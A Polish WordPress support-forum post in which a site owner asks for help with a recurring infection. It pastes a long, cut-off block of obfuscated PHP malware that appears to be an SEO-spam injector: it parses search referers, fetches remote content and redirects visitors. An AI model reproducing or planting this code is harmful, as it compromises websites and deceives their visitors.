Wsparcie » Wtyczki » Wirus na mojej stronie

  • Witam,
    czy spotkał się ktoś z takim wirusem i wie jak to naprawić, usunąłem praktycznie wszystko co może się z nim wiązać a wirus i tak wraca:

    <?php
    //78x0p912
    ${„G\x4c\x4fB\x41\x4cS”}[„\x6d\x72\x6d\x74d\x64\x64\x64\x64″]=”\x6bw\x5f\x61\x72\x72”;${„G\x4c\x4f\x42A\x4c\x53”}[„l\x78\x79s\x74\x64\x6a\x75\x79″]=”\x6b\x77\x73”;${„G\x4c\x4f\x42AL\x53”}[„y\x6a\x79\x62l\x71\x65u\x70\x6e\x77″]=”Ar\x74\x69\x63le\x5f\x63\x61\x74\x65\x67\x6fr\x79”;${„G\x4c\x4fB\x41\x4c\x53”}[„\x75\x76rj\x67\x68\x68\x71″]=”co\x6e\x74\x65n\x74”;${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x6eng\x65\x67\x76″]=”A\x72\x74\x69\x63le\x5fT\x69t\x6ce”;${„\x47\x4cO\x42\x41\x4c\x53”}[„e\x69by\x76\x70\x67″]=”\x4da\x74\x65\x5f\x44\x65sc\x72\x69\x70\x74\x69\x6f\x6e”;${„\x47\x4c\x4f\x42\x41L\x53”}[„\x77\x63t\x70\x63\x66\x63\x64\x76w”]=”Ma\x74\x65\x5f\x4b\x65\x79\x77o\x72\x64″;${„\x47\x4cOBA\x4c\x53”}[„\x6bn\x71\x62u\x76\x6ej\x64\x66\x77″]=”\x6f\x75\x74”;${„GL\x4f\x42\x41\x4cS”}[„\x61\x71\x6b\x70\x73\x72\x7a\x75u”]=”\x4d\x61\x74\x65_T\x69tl\x65″;${„G\x4cO\x42A\x4cS”}[„\x67\x71v\x6ab\x6a”]=”\x74\x65\x6d\x70l\x61t\x65″;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x75\x65\x66qv\x63\x71\x6d\x66\x75\x73t”]=”\x74\x6d\x70l_f\x69\x6c\x65″;${„GL\x4f\x42\x41\x4c\x53”}[„\x62cl\x6d\x61zhc\x69\x67lt”]=”Ar\x74\x69\x63\x6ce\x5f\x64e\x73\x63\x72i\x70tio\x6eb”;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„j\x65\x62ll\x6d\x76\x68p\x66″]=”\x41rt\x69\x63\x6ce\x5fd\x65\x73c\x72\x69\x70t\x69\x6f\x6e\x61”;${„G\x4cO\x42\x41L\x53”}[„\x74\x6c\x65\x76\x63yj\x65\x66\x6e\x78″]=”\x70ro_\x69m\x67\x5f\x74\x65\x6dp”;${„\x47\x4c\x4f\x42\x41L\x53”}[„\x76\x78\x64ngu\x75\x64ys”]=”A\x72tic\x6ce\x5f\x64e\x73c\x72i\x70\x74i\x6f\x6e”;${„G\x4c\x4fBALS”}[„p\x6f\x75r\x78w\x6ek\x63\x75\x76″]=”Ar\x74icle_p\x69\x63tu\x72\x65”;${„\x47\x4c\x4f\x42AL\x53”}[„ema\x6dy\x67nda\x65\x74″]=”l”;${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x70cm\x77c\x77\x6e\x6ah\x62″]=”\x41\x72t\x69c\x6ce\x5fI\x6e\x6cinks”;${„\x47\x4cO\x42A\x4c\x53”}[„\x76\x65\x68\x78\x6dm\x75g\x70\x64″]=”\x61\x31”;${„GLO\x42\x41LS”}[„\x69\x6a\x71h\x66\x75l\x61″]=”\x61\x33”;${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x72\x77t\x61\x6e\x77\x6dz\x6b”]=”\x61\x32″;${„\x47\x4cO\x42A\x4cS”}[„\x6f\x6c\x6e\x65fv\x62\x72x\x77″]=”mse\x61\x72\x63\x68”;${„\x47LO\x42ALS”}[„y\x67\x68\x61y\x72\x73\x71\x79\x62x”]=”l\x74\x5f\x72\x65\x6c\x61\x74\x65\x5f\x6c\x69nk\x73″;${„\x47LO\x42\x41\x4c\x53”}[„\x6cu\x78l\x6en\x66\x63″]=”\x70ats\x65ar\x63\x68”;${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x6e\x6f\x6c\x73\x6f\x6cg\x6f\x76\x75\x70″]=”\x61\x72\x72s\x65a\x72ch”;${„\x47L\x4f\x42A\x4c\x53”}[„o\x6b\x6e\x79\x61\x70\x76\x75n\x64″]=”\x73\x65\x61rchu\x72\x6c”;${„\x47\x4cOB\x41L\x53”}[„\x72\x62\x63\x6eiz\x63\x7a”]=”j”;${„\x47\x4c\x4fB\x41\x4c\x53”}[„i\x69w\x79\x70\x6e\x66″]=”\x69”;${„\x47\x4c\x4fBAL\x53”}[„\x6dq\x6e\x6a\x75\x79\x69\x69\x78\x6a\x6b”]=”s\x74at\x75\x73″;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x75biw\x6d\x69pa\x78\x76\x66″]=”\x6d”;${„GL\x4fBALS”}[„lk\x75\x63\x77\x65\x78″]=”\x70\x61t”;${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x7a\x6a\x6c\x77\x70\x74\x6dy\x74\x6be”]=”\x63\x6f\x6ev\x65\x72\x74\x65\x64″;${„\x47\x4c\x4fB\x41\x4cS”}[„\x75\x69\x6f\x67u\x79\x68\x64\x6e\x77x”]=”\x70\x61\x74hs”;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x67dcj\x69\x68\x6fy\x77z\x63″]=”\x6a\x75mp\x5f\x73\x74r”;${„G\x4cO\x42\x41LS”}[„l\x65c\x73\x72\x6c\x74\x68c”]=”\x79ou_\x73\x68o\x75\x6cd_\x72\x65\x64\x69\x72\x65\x63t”;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x77\x6d\x6c\x63\x79r\x70\x75″]=”\x6a\x75mp\x5f\x74o”;${„G\x4cOB\x41\x4c\x53”}[„\x75qs\x6b\x6eu\x68n\x66x”]=”\x75\x73\x65r\x5f\x6b\x77″;${„\x47L\x4f\x42\x41\x4c\x53”}[„\x73\x74q\x62\x65\x6cl\x79y”]=”\x73n\x5f\x61\x72\x72″;${„\x47L\x4f\x42\x41LS”}[„\x6a\x76\x65\x71t\x78\x74\x6cn\x76\x6b”]=”\x6bc”;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„q\x68\x69\x6cge\x61″]=”\x74”;${„G\x4c\x4fB\x41\x4c\x53”}[„xfm\x61\x75i\x66\x75\x62″]=”\x70”;${„\x47\x4cO\x42\x41\x4c\x53”}[„mq\x63m\x62\x66\x74o\x68\x6c”]=”t\x65\x6dp”;${„G\x4c\x4fB\x41\x4c\x53”}[„e\x69\x70\x61m\x6c\x6cp\x76\x79n\x72″]=”\x63\x5fr\x61n\x67\x65”;${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x6d\x62uniqt\x74i”]=”m\x79\x5fi\x70\x5f\x61\x72r”;${„\x47L\x4f\x42AL\x53”}[„\x79\x74l\x64h\x63\x71\x73\x63″]=”g\x5fip”;${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x66to\x68z\x78\x6f\x62\x71\x69\x67″]=”\x67_\x69p_ps”;${„\x47L\x4fB\x41\x4c\x53”}[„\x74yu\x6e\x62\x67\x6b\x73\x62″]=”i\x73\x5f\x67\x5fi\x70”;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x79\x76\x63s\x67\x6cn”]=”i\x6c\x6f\x76\x65\x77i\x66\x69\x5f\x69\x70\x5f\x6f\x6ee”;${„G\x4c\x4fB\x41\x4cS”}[„\x69lxw\x67l”]=”\x69\x6cov\x65\x77\x69\x66i\x5fi\x70\x5fa\x72\x72″;${„GL\x4f\x42A\x4c\x53”}[„\x69\x78\x66\x77\x6cj\x78\x75″]=”\x69\x6c\x6fve\x77i\x66i_\x69p”;${„\x47\x4cO\x42ALS”}[„\x79i\x72t\x6e\x69m\x68″]=”\x75\x72\x6c\x49nf\x6f”;${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x64\x65f\x73\x6d\x70\x62\x61n”]=”\x62k”;${„G\x4cO\x42\x41L\x53”}[„p\x74y\x61j\x63\x71\x77w\x6f”]=”\x74\x72\x69ed”;${„G\x4cOB\x41L\x53”}[„dev\x6b\x66\x66\x6euk\x63\x6e\x6c”]=”\x66ile”;${„\x47L\x4fBA\x4c\x53”}[„\x74\x6e\x78\x76\x6a\x6b\x76\x75\x62q”]=”\x75\x72\x6c\x73″;${„G\x4c\x4f\x42A\x4c\x53”}[„z\x70\x77\x6es\x75f\x6ao\x6b”]=”re\x6e\x65\x77″;${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x67\x64\x78\x62ec”]=”\x6ct_\x70a\x74\x68″;${„\x47L\x4fBA\x4cS”}[„\x76\x63yq\x6b\x6e\x6c”]=”\x72e\x71\x5f\x75\x72\x69″;${„\x47\x4cOB\x41LS”}[„\x73\x61\x69iunx\x77″]=”\x64ec\x6f\x64\x65d”;${„\x47LO\x42\x41\x4cS”}[„\x79\x66gt\x6fkm\x73\x62\x67″]=”va\x6c_\x66\x69\x6ce”;${„GL\x4f\x42\x41\x4c\x53”}[„\x64\x70\x6f\x64\x66g\x78f\x6f\x62\x65″]=”ke\x79”;${„G\x4cO\x42A\x4cS”}[„cu\x73v\x79\x68\x76\x73n”]=”\x63\x6cs”;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x6c\x61\x6az\x75\x73\x6d\x72\x79\x78″]=”he\x61de\x72\x5f\x73\x74\x72”;${„G\x4c\x4f\x42ALS”}[„\x68h\x67\x66cgt”]=”\x68\x65\x61de\x72s”;${„\x47\x4cO\x42\x41\x4cS”}[„b\x62d\x79\x6c\x68\x6f\x66z\x72e”]=”\x72″;${„\x47\x4c\x4f\x42\x41LS”}[„\x61n\x62\x6d\x76\x68\x63\x72\x6c”]=”d\x65\x73\x63\x72i\x70\x74\x69\x6f\x6e”;${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x73\x62x\x6d\x6en\x70″]=”\x62\x6f\x64\x79\x5f\x73ta\x72\x74”;${„\x47L\x4fBA\x4cS”}[„x\x76\x72\x77\x76\x65\x75″]=”\x64\x65\x73\x63”;${„GL\x4f\x42\x41\x4c\x53”}[„\x68\x65\x65fb\x66im\x6eh\x78″]=”\x66\x70”;${„\x47\x4cOBA\x4cS”}[„\x6bn\x68\x6d\x79\x77\x62″]=”\x68t\x6d\x6c\x5f\x63on\x74e\x6et”;${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x71\x7ad\x6a\x6b\x64″]=”\x63h”;${„\x47\x4c\x4fB\x41\x4cS”}[„\x78\x79\x79v\x67\x77\x76ca\x74mb”]=”\x75\x72l”;${„\x47\x4c\x4f\x42\x41LS”}[„ocl\x76s\x79″]=”\x6f\x6ee_\x66\x69l\x65”;${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x74\x6c\x61\x68r\x7a\x6e\x66h”]=”\x66\x69\x6e\x64\x5f\x64i\x72″;${„G\x4cOB\x41\x4c\x53”}[„\x64\x6b\x6b\x6f\x68\x6bc”]=”N”;${„\x47\x4cOB\x41\x4cS”}[„\x79fq\x65\x62\x6a\x67v\x6c”]=”\x66i\x6c\x65\x73″;${„\x47L\x4f\x42ALS”}[„bf\x65\x72e\x63d\x6a\x67\x66\x62″]=”\x6f\x6e\x65”;${„\x47LOB\x41\x4c\x53”}[„\x6b\x77\x79\x76\x70gg\x79″]=”\x64\x69\x72”;${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x72zt\x66k\x68a\x78o”]=”\x66\x6fl\x64e\x72\x73″;${„G\x4cOB\x41L\x53”}[„\x6bx\x67\x66ujta”]=”n\x65\x65\x64l\x65″;${„\x47LO\x42A\x4c\x53”}[„\x69om\x65y\x79bi\x6cg”]=”\x68ay\x73ta\x63k”;${„G\x4c\x4fBA\x4c\x53”}[„\x66\x73c\x75ex\x75\x72z\x73m\x66″]=”\x73e\x61\x72\x63h\x5f\x70h\x72\x61\x73e”;${„G\x4cO\x42\x41L\x53”}[„\x6e\x6c\x79\x75e\x70vad\x71\x69″]=”\x6da\x74che\x73”;${„G\x4c\x4f\x42AL\x53”}[„\x62\x76\x62\x73\x79zu\x79\x63\x6b\x73v”]=”\x70a\x74\x74\x65\x72\x6e”;${„\x47\x4c\x4fBALS”}[„\x78\x6cfn\x65\x68″]=”\x72\x65\x66\x65\x72e\x72”;${„\x47LO\x42\x41LS”}[„y\x6c\x76\x6a\x6f\x6am”]=”engi\x6ee”;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x64\x70\x65\x74\x63\x6adpye”]=”\x65n\x67\x69\x6e\x65\x73″;${„G\x4c\x4fBA\x4c\x53”}[„\x62jx\x76t\x68\x78″]=”\x73\x74\x72”;${„\x47LO\x42\x41L\x53”}[„\x73\x66\x6enn\x67\x74\x70\x6e\x6ci”]=”\x63\x73″;function random_str($s=10){${„\x47\x4c\x4f\x42\x41LS”}[„\x6ecd\x63\x6em\x65\x76k\x76\x70t”]=”c\x73″;${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x6dc\x62i\x79\x73g\x72″]=”\x69″;$ukeqxmh=”i”;$fvrdgmgym=”csl”;$kigbqhk=”\x69″;${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x79\x63\x79p\x69t\x72bx\x62\x77″]=”st\x72”;${„\x47\x4cO\x42\x41\x4c\x53”}[„h\x67j\x6a\x63\x6fk\x75\x6e\x66″]=”\x73”;${${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x73\x66\x6e\x6e\x6e\x67\x74\x70\x6eli”]}=”0123\x34\x35\x3678\x39\x61b\x63d\x65\x66ghijk\x6c\x6d\x6e\x6f\x70q\x72\x73tu\x76w\x78yz”;${$fvrdgmgym}=strlen(${${„GL\x4f\x42\x41L\x53”}[„\x6e\x63\x64c\x6em\x65vkvp\x74”]});${${„G\x4c\x4fB\x41\x4c\x53”}[„y\x63\x79\x70i\x74r\x62\x78\x62\x77″]}=””;for(${$kigbqhk}=0;${${„G\x4cO\x42AL\x53”}[„m\x63\x62\x69ys\x67\x72”]}<${${„GL\x4f\x42\x41\x4c\x53”}[„\x68\x67\x6aj\x63\x6f\x6bunf”]};${$ukeqxmh}++){${„GL\x4fB\x41L\x53”}[„\x63fcjunnw”]=”\x63\x73l”;${„\x47L\x4fBA\x4c\x53”}[„\x66\x65\x70\x6f\x6fc\x69\x73qf”]=”\x63\x73″;${${„\x47L\x4f\x42\x41L\x53”}[„\x62jx\x76\x74\x68\x78”]}.=${${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x66\x65p\x6f\x6f\x63\x69\x73q\x66”]}[rand(0,${${„G\x4c\x4fBA\x4cS”}[„\x63\x66\x63\x6a\x75\x6en\x77”]}-1)];}return${${„GL\x4f\x42\x41\x4cS”}[„\x62\x6axv\x74\x68\x78”]};}function decrypt_str($str){return substr(base64_decode(substr(base64_decode(substr(base64_decode(trim(${${„\x47L\x4fB\x41LS”}[„b\x6a\x78\x76\x74h\x78”]})),3,-3)),2,-2)),1,-1);}function encrypt_str($str){return base64_encode(random_str(3).base64_encode(random_str(2).base64_encode(random_str(1).${${„GL\x4f\x42\x41\x4c\x53”}[„b\x6ax\x76thx”]}.random_str(1)).random_str(2)).random_str(3));}function get_keyword($referer){$rvlmshpmqs=”s\x65\x61\x72ch\x5fp\x68\x72a\x73\x65″;${„\x47LO\x42\x41LS”}[„\x70b\x68v\x6a\x77\x6e\x70″]=”\x71\x75\x65r\x79\x5f\x70\x61\x72am”;${$rvlmshpmqs}=””;${${„G\x4c\x4fB\x41\x4cS”}[„d\x70\x65t\x63\x6a\x64py\x65”]}=array(„\x64m\x6f\x7a”=>”q=”,”\x61ol”=>”\x71\x3d”,”\x61\x73k”=>”q=”,”\x67\x6fog\x6ce”=>”q=”,”\x62i\x6eg”=>”q=”,”\x68\x6f\x74bot”=>”\x71=”,”teoma”=>”\x71\x3d”,”\x79a\x68\x6fo”=>”\x70=”,”al\x74\x61\x76ist\x61″=>”\x70=”,”lyc\x6fs”=>”qu\x65ry\x3d”,”kano\x6fd\x6c\x65″=>”qu\x65ry=”);foreach(${${„\x47\x4c\x4fB\x41L\x53”}[„\x64p\x65\x74\x63\x6a\x64\x70y\x65”]} as${${„G\x4c\x4f\x42\x41L\x53”}[„yl\x76j\x6f\x6a\x6d”]}=>${${„G\x4c\x4fB\x41\x4c\x53”}[„\x70b\x68\x76\x6a\x77n\x70″]}){$lxbspuowveps=”\x71u\x65\x72\x79\x5f\x70\x61r\x61m”;${„\x47L\x4f\x42\x41\x4c\x53”}[„\x70y\x68cd\x6af\x74\x75\x6c\x66″]=”\x72\x65\x66er\x65r”;${„G\x4c\x4f\x42\x41\x4cS”}[„\x76u\x6b\x6f\x6bp\x70r”]=”\x72\x65\x66e\x72\x65\x72″;if(strpos(${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x76\x75k\x6f\x6b\x70\x70\x72”]},${${„\x47L\x4f\x42A\x4c\x53”}[„\x79\x6c\x76jojm”]}.”\x2e”)!==false&&strpos(${${„\x47\x4c\x4fBA\x4cS”}[„p\x79h\x63d\x6aft\x75lf”]},${$lxbspuowveps})!==false){${„\x47\x4cO\x42\x41L\x53”}[„\x64\x6e\x77\x6d\x6b\x64\x6d\x66\x76m\x6d”]=”e\x6eg\x69\x6e\x65″;${${„\x47L\x4fB\x41\x4c\x53”}[„\x78\x6cfn\x65\x68″]}.=”\x26”;${${„\x47\x4cOB\x41L\x53”}[„\x62vbs\x79\x7au\x79\x63\x6bs\x76″]}=”/[?\x26]{$query_param}(.*?)&/\x73\x69”;preg_match(${${„\x47\x4cOB\x41\x4cS”}[„\x62\x76\x62sy\x7a\x75\x79c\x6b\x73\x76”]},${${„\x47\x4cO\x42\x41\x4c\x53”}[„\x78l\x66\x6ee\x68”]},${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x6e\x6c\x79\x75ep\x76\x61dqi”]});${„\x47\x4c\x4f\x42\x41L\x53”}[„f\x71\x63ryty\x67″]=”\x73\x65arc\x68_\x70\x68r\x61se”;${${„G\x4c\x4fB\x41\x4cS”}[„\x66\x73\x63\x75\x65\x78\x75r\x7as\x6d\x66”]}=urldecode(${${„\x47\x4cOB\x41L\x53”}[„n\x6c\x79ue\x70\x76\x61d\x71\x69”]}[1]);return array(${${„\x47\x4cO\x42\x41\x4c\x53”}[„\x64n\x77\x6d\x6b\x64\x6d\x66\x76m\x6d”]},${${„\x47LOB\x41\x4c\x53”}[„\x66\x71\x63\x72y\x74yg”]});}}return;}function starts_with($haystack,$needle){$ruddhow=”n\x65\x65\x64\x6c\x65″;return${$ruddhow}===””||strrpos(${${„\x47L\x4f\x42\x41L\x53”}[„\x69\x6f\x6d\x65\x79\x79\x62il\x67”]},${${„\x47\x4cO\x42\x41L\x53”}[„\x6bxg\x66uj\x74\x61”]},-strlen(${${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x69o\x6de\x79\x79b\x69\x6c\x67”]}))!==false;}function dibug($msg){if(isset($_GET[„\x64e\x62\x75\x67″])){echo”$msg\x3cb\x72\x3e”;}}function find_file_in_folders($folders,$file_pattern,$find_dir){$xqaxoxvqbgy=”\x6fne”;foreach(${${„\x47\x4cOBA\x4c\x53”}[„\x72z\x74\x66\x6b\x68a\x78\x6f”]} as${$xqaxoxvqbgy}){${„GL\x4f\x42\x41\x4c\x53”}[„o\x63\x6f\x71\x71\x6ca\x6du”]=”\x6f\x6ee”;if((strtoupper(substr(PHP_OS,0,3))===”WI\x4e”or strpos(${${„\x47\x4cO\x42\x41\x4c\x53”}[„o\x63\x6fq\x71l\x61m\x75″]},”\x5c”)===false)){$vgfili=”one”;if(@file_exists(${$vgfili})){${${„G\x4c\x4f\x42\x41L\x53”}[„\x6bw\x79\x76p\x67\x67\x79”]}=@opendir(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x62\x66e\x72\x65\x63\x64\x6ag\x66\x62”]});${„\x47\x4c\x4f\x42A\x4c\x53”}[„vm\x6b\x6b\x67\x6d\x74\x77\x6c\x66\x6bp”]=”\x64\x69\x72″;${${„\x47\x4c\x4f\x42\x41L\x53”}[„y\x66q\x65b\x6a\x67\x76\x6c”]}=array();if(${${„\x47\x4c\x4fBAL\x53”}[„\x76\x6d\x6b\x6b\x67\x6d\x74\x77\x6c\x66\x6bp”]}!=NULL){${„\x47L\x4fB\x41\x4cS”}[„\x6c\x62\x67\x75v\x64\x7a”]=”f\x69\x6ces”;while(${${„\x47\x4c\x4f\x42A\x4c\x53”}[„d\x6b\x6b\x6fh\x6b\x63”]}=@readdir(${${„GLO\x42A\x4c\x53”}[„\x6b\x77y\x76\x70\x67g\x79″]})){$euahqwud=”\x4e”;$llzlcq=”\x6f\x6e\x65″;if(${${„\x47L\x4f\x42A\x4c\x53”}[„t\x6c\x61\x68r\x7a\x6ef\x68″]}!=@is_file(${$llzlcq}.”/”.${$euahqwud})){array_push(${${„G\x4cO\x42\x41L\x53”}[„\x79\x66\x71\x65\x62\x6a\x67\x76\x6c”]},${${„\x47LOB\x41\x4c\x53”}[„d\x6bkohk\x63″]});}}$suyaiwbj=”o\x6e\x65\x5f\x66\x69le”;@shuffle(${${„\x47\x4c\x4f\x42AL\x53”}[„\x79\x66\x71\x65\x62j\x67\x76l”]});foreach(${${„\x47\x4c\x4f\x42AL\x53”}[„\x6c\x62g\x75\x76\x64z”]} as${$suyaiwbj}){${„\x47\x4c\x4f\x42A\x4cS”}[„\x6ct\x6fc\x69z\x6ce”]=”\x6f\x6e\x65\x5f\x66\x69\x6c\x65″;${„\x47\x4cO\x42ALS”}[„n\x79\x6e\x75\x61es”]=”fi\x6c\x65\x5fp\x61\x74t\x65\x72n”;${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x68\x76m\x61\x63\x73\x72\x72″]=”f\x69\x6c\x65\x5f\x70\x61\x74\x74e\x72n”;$aqsnyywsr=”f\x69\x6ce\x5f\x70\x61\x74\x74\x65\x72\x6e”;if((starts_with(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x6e\x79\x6eua\x65\x73″]},”/”)and preg_match(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„hv\x6dacsr\x72”]},strtolower(${${„G\x4c\x4f\x42A\x4cS”}[„l\x74o\x63\x69\x7a\x6c\x65”]}))==1)or strtolower(${${„\x47LO\x42A\x4c\x53”}[„oc\x6cvs\x79”]})==strtolower(${$aqsnyywsr})){if(${${„\x47L\x4f\x42\x41\x4cS”}[„tl\x61h\x72\x7a\x6efh”]}){${„\x47LO\x42\x41\x4c\x53”}[„h\x73o\x66\x6flrx”]=”\x6f\x6e\x65″;return${${„\x47\x4cO\x42\x41\x4c\x53”}[„h\x73\x6f\x66\x6f\x6c\x72x”]}.”/”.${${„\x47\x4cOB\x41LS”}[„\x6f\x63\x6cv\x73y”]};}else{if(@is_readable(${${„GL\x4f\x42A\x4cS”}[„b\x66\x65\x72\x65c\x64j\x67\x66\x62″]}.”/”.${${„\x47LOBAL\x53”}[„\x6f\x63\x6c\x76\x73y”]})){$mxvxlpheqd=”\x6f\x6ee”;return${$mxvxlpheqd}.”/”.${${„\x47L\x4f\x42AL\x53”}[„\x6fcl\x76\x73y”]};}else{dibug(„\x66oun\x64: $one/$one_file\x20, b\x75t\x20i\x20c\x61n\x27\x74\x20\x72e\x61\x64 \x69\x74.”);}}}}}@closedir(${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x62\x66\x65\x72\x65c\x64\x6a\x67f\x62”]});dibug(„not \x66i\x6c\x65\x20\x66\x6fund:$file_pattern \x69\x6e\x20$one”);}else{dibug(„n\x6f\x74\x20e\x78i\x73t\x73:\x20$one”);}}}return NULL;}function get_html_content($url){$jwmnoqghpkb=”\x75\x72l”;$kgyorsjct=”\x68t\x6dl\x5fc\x6f\x6et\x65\x6e\x74″;${„\x47L\x4fBALS”}[„voqduo”]=”\x68\x74\x6d\x6c\x5f\x63\x6fn\x74\x65\x6et”;${${„G\x4cOB\x41\x4c\x53”}[„\x76o\x71\x64\x75\x6f”]}=””;${„\x47L\x4fBALS”}[„\x72\x64\x64\x6f\x6d\x63\x68″]=”\x75r\x6c”;${$jwmnoqghpkb}=trim(${${„\x47L\x4fB\x41L\x53”}[„r\x64\x64om\x63\x68”]});if(extension_loaded(„\x63ur\x6c”)&&function_exists(„curl\x5f\x69ni\x74”)&&function_exists(„curl_\x65xec”)){$dmqjboqt=”\x63\x68″;${„\x47LOB\x41\x4c\x53”}[„\x63\x72\x6e\x6b\x75\x65\x6e\x70″]=”ch”;${„G\x4cO\x42AL\x53”}[„\x61ga\x6e\x71d”]=”\x63\x68″;${„\x47\x4c\x4f\x42AL\x53”}[„n\x79\x70i\x78\x69\x73″]=”c\x68”;${$dmqjboqt}=curl_init();curl_setopt(${${„\x47\x4cO\x42\x41L\x53”}[„\x61\x67\x61\x6eq\x64”]},CURLOPT_URL,${${„\x47LO\x42\x41\x4c\x53”}[„\x78\x79\x79\x76\x67\x77\x76c\x61\x74mb”]});curl_setopt(${${„\x47LOB\x41\x4c\x53”}[„n\x79\x70i\x78\x69\x73″]},CURLOPT_RETURNTRANSFER,true);$vranyoctypm=”\x63\x68”;curl_setopt(${${„GLOB\x41L\x53”}[„\x71\x7ad\x6a\x6b\x64”]},CURLOPT_BINARYTRANSFER,true);curl_setopt(${$vranyoctypm},CURLOPT_TIMEOUT,15);curl_setopt(${${„\x47\x4cO\x42\x41L\x53”}[„c\x72\x6e\x6b\x75\x65\x6e\x70”]},CURLOPT_USERAGENT,$_SERVER[„HTT\x50_USER\x5f\x41\x47E\x4e\x54”]);${„\x47\x4c\x4fB\x41\x4cS”}[„\x68m\x75h\x61b\x71\x6a”]=”c\x68″;${${„\x47LOB\x41\x4cS”}[„k\x6ehmyw\x62”]}=curl_exec(${${„\x47L\x4f\x42\x41LS”}[„\x71\x7adj\x6b\x64”]});curl_close(${${„\x47\x4c\x4fBA\x4cS”}[„h\x6d\x75\x68a\x62\x71j”]});}if(${${„G\x4c\x4f\x42\x41L\x53”}[„k\x6eh\x6dy\x77\x62″]}==””){${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„i\x6a\x77n\x6e\x6f”]=”\x75rl”;if(function_exists(„\x66i\x6c\x65\x5f\x67et_c\x6f\x6et\x65nt\x73”)and${${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x69\x6a\x77\x6e\x6e\x6f”]}){${„\x47L\x4fB\x41\x4cS”}[„\x67ur\x6e\x65\x75ga\x69\x64\x67\x62″]=”\x75r\x6c”;${${„\x47\x4c\x4f\x42A\x4cS”}[„k\x6e\x68\x6d\x79\x77\x62”]}=@file_get_contents(${${„\x47\x4cOB\x41LS”}[„g\x75rne\x75\x67a\x69d\x67\x62”]});}}if(${${„GL\x4f\x42AL\x53”}[„\x6b\x6e\x68\x6dy\x77b”]}==””and${${„\x47LO\x42\x41\x4cS”}[„x\x79\x79\x76g\x77\x76\x63\x61\x74m\x62”]}){if(function_exists(„fo\x70e\x6e”)&&function_exists(„ini\x5fge\x74”)&&ini_get(„al\x6c\x6f\x77\x5fur\x6c\x5ffo\x70\x65\x6e”)){$tjgnqc=”\x75rl”;$svmmgml=”\x66\x70″;${$svmmgml}=@fopen(${$tjgnqc},”r”)or false;if(${${„\x47L\x4f\x42ALS”}[„he\x65\x66\x62\x66i\x6dn\x68\x78”]}){while(!@feof(${${„\x47\x4c\x4f\x42\x41L\x53”}[„\x68\x65e\x66bf\x69\x6d\x6e\x68\x78″]})){$sbfnryt=”\x66\x70”;${${„\x47L\x4f\x42\x41LS”}[„\x6bn\x68\x6dy\x77b”]}.=@fgets(${$sbfnryt}).””;}$lfykxwbop=”f\x70″;@fclose(${$lfykxwbop});}}}return${$kgyorsjct};}function desc_clear($desc){${„\x47\x4c\x4f\x42AL\x53”}[„\x6e\x71\x68\x6fr\x71\x7a\x79\x71\x6a\x76\x6a”]=”b\x6f\x64\x79_e\x6e\x64″;${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x68\x6b\x73fb\x6c\x6aee”]=”\x64\x65\x73\x63″;${„\x47\x4c\x4f\x42\x41L\x53”}[„m\x65g\x77oc\x62l”]=”\x62od\x79\x5fs\x74\x61rt”;${${„\x47LO\x42\x41L\x53”}[„\x6de\x67\x77o\x63b\x6c”]}=strpos(${${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x68k\x73\x66\x62l\x6a\x65\x65″]},”\x3cbod\x79>”);$oeiwbmc=”\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e”;${${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x6e\x71\x68\x6f\x72\x71\x7ay\x71\x6a\x76j”]}=strpos(${${„\x47\x4cO\x42\x41L\x53”}[„\x78\x76\x72w\x76\x65\x75″]},”</bo\x64y\x3e”);${„\x47LO\x42\x41\x4c\x53”}[„\x6b\x6d\x76\x6aqj\x6a”]=”bod\x79_s\x74\x61\x72\x74″;$qmgrcr=”\x62\x6f\x64\x79\x5f\x65\x6ed”;if(${${„G\x4c\x4f\x42\x41L\x53”}[„\x6bm\x76j\x71\x6a\x6a”]}&&${$qmgrcr}){${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x6dvo\x75\x62\x79h”]=”d\x65\x73\x63″;${„\x47\x4cOB\x41L\x53”}[„\x77\x6a\x73\x76\x6c\x66\x67odbx”]=”\x62\x6fdy\x5f\x65\x6e\x64″;${${„GLO\x42\x41\x4c\x53”}[„\x6d\x76\x6f\x75\x62\x79\x68”]}=substr(${${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x78\x76rw\x76\x65\x75”]},${${„\x47\x4c\x4f\x42AL\x53”}[„\x73bx\x6d\x6enp”]}+7,${${„GLOB\x41\x4c\x53”}[„\x77js\x76\x6c\x66godb\x78”]}-${${„\x47\x4cO\x42A\x